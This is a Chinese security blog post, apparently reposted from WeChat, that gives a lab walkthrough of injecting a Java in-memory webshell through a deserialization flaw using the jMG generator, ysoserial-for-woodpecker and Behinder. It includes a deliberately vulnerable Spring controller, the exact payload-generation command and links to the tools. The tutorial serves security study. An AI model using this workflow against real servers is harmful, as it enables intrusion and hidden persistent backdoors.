java反序列化漏洞注入内存马

admin 2025年3月10日00:16:10评论48 views字数 2358阅读7分51秒阅读模式

一、简介

jMG (Java Memshell Generator) 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。

java反序列化漏洞注入内存马

功能介绍

  • 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring)
  • 支持的网站管理工具 (Behinder/Godzilla/Custom)
  • 支持的内存马类型 (Filter/Listener/Interceptor)
  • 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
  • 支持的辅助模块 (探测目标中间件/序列化数据封装)

模块划分

  • 内存马生成模块
    • Behinder、Godzilla
    • Custom
      • 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等
  • 辅助模块
    • ServerType Detector 中间件探测器
      • 探测中间件信息,常见场景:SpringBoot Fatjar
      • 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog)
    • Ysoserial Payload Generator
      • 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率

参数说明

参数名称

参数说明

其他

server_type

选择中间件的类型

shell_type

选择内存马的类型

gadget_type

选择利用链的类型

根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解

format_type

输出格式

更多参数 - 参数自定义

java反序列化漏洞注入内存马

从 github 仓库下载 jMG.jar 并放在 woodpecker 的 plugin 子目录下即可

下载的地址 https://github.com/pen4uin/java-memshell-generator/

二.中间件覆盖情况

godzilla-listener

godzilla-filter

behinder-listener

behinder-filter

tomcat 9.0.39

tomcat 8.5.53

tomcat 7.0.59

tomcat 6.0.48

tomcat 5.5.36

jetty 9.4.43

jetty 8.2.0

jetty 7.6.0

resin 4.0.66

resin 3.1.15

weblogic 10.3.6

weblogic 12.1.3

websphere 8.5.5

websphere 9.0.0

注:以上测试结果仅供参考

三、单独使用工具

也可以直接使用这个工具  

使用jdk8打开工具

"C:Program FilesJavajdk1.8.0_202binjava.exe" -jar jmg-all-1.0.9_250101.jar gui
java反序列化漏洞注入内存马

四、注入内存马

1.启动靶场 这份代码存在反序列化漏洞

import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;import java.io.ObjectInputStream;@Controllerpublic class Deserilizer {    @ResponseBody    @RequestMapping("/deser")    public String deser(HttpServletRequest request) throws Exception {        try {            new ObjectInputStream(request.getInputStream()).readObject();            return "Deserilizer successful";        }catch(Exception e) {            return "Deserilizer failed"+e.getMessage();        }    }}

2.检测利用链

使用yakit的检测反序列化利用链

java反序列化漏洞注入内存马

查看dnslog存在的 CommonsBeanutils1_183 链子 

java反序列化漏洞注入内存马

使用jmg生成内存马

请把jdk_abstractranslet勾上

java反序列化漏洞注入内存马

接着使用 ysoserial-for-woodpecker-0.5.2.jar 反序列化利用利用生成payload

下载地址 https://github.com/woodpecker-framework/ysoserial-for-woodpecker

java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsBeanutils2_183 -a "class_file:C:UsersmoonDocumentsSerializationUtil.class" >ser.bin

使用yakit将生成的ser.bin进行提交

java反序列化漏洞注入内存马

使用Behinder链接 填写对应的连接密码和信息

下载地址 https://github.com/rebeyond/Behinder/

java反序列化漏洞注入内存马

连接成功

java反序列化漏洞注入内存马

参考文章 

https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg

想系统学习渗透测试?扫码报名培训课程!
java反序列化漏洞注入内存马

原文始发于微信公众号(moonsec):java反序列化漏洞注入内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日00:16:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java反序列化漏洞注入内存马https://cn-sec.com/archives/3818964.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息